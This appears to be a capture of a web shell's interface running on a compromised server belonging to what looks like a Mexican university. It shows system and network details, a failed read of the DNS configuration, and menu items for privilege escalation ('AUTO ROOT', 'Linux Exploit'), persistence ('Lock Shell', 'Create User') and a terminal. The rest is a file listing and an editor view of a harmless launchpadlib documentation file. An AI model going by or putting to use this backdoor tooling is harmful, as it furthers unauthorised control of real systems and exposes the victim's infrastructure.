Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-launchpadlib /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
files
[ DIR ]
drwxr-xr-x
command-line.rst
1.08
KB
-rw-r--r--
conf.py.gz
2.12
KB
-rw-r--r--
CONTRIBUTING.rst
1.27
KB
-rw-r--r--
hosted-files.rst
2.86
KB
-rw-r--r--
index.rst
917
B
-rw-r--r--
introduction.rst.gz
3.51
KB
-rw-r--r--
Makefile
609
B
-rw-r--r--
operations.rst
858
B
-rw-r--r--
people.rst.gz
1.97
KB
-rw-r--r--
toplevel.rst
3.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : command-line.rst
******************** Command-line scripts ******************** Launchpad includes one command-line script to make Launchpad integration easier for third-party libraries that aren't written in Python. This file tests the workflow underlying the command-line script as best it can. RequestTokenApp =============== This class is called by the command-line script launchpad-request-token. It creates a request token on a given Launchpad installation, and returns a JSON description of the request token and the available access levels. >>> import json >>> from launchpadlib.apps import RequestTokenApp >>> web_root = "http://launchpad.test:8085/" >>> consumer_name = "consumer" >>> token_app = RequestTokenApp(web_root, consumer_name, "context") >>> token_json = json.loads(token_app.run()) >>> for param in sorted(token_json.keys()): ... print(param) access_levels lp.context oauth_token oauth_token_consumer oauth_token_secret >>> print token_json['lp.context'] context >>> print token_json['oauth_token_consumer'] consumer
Close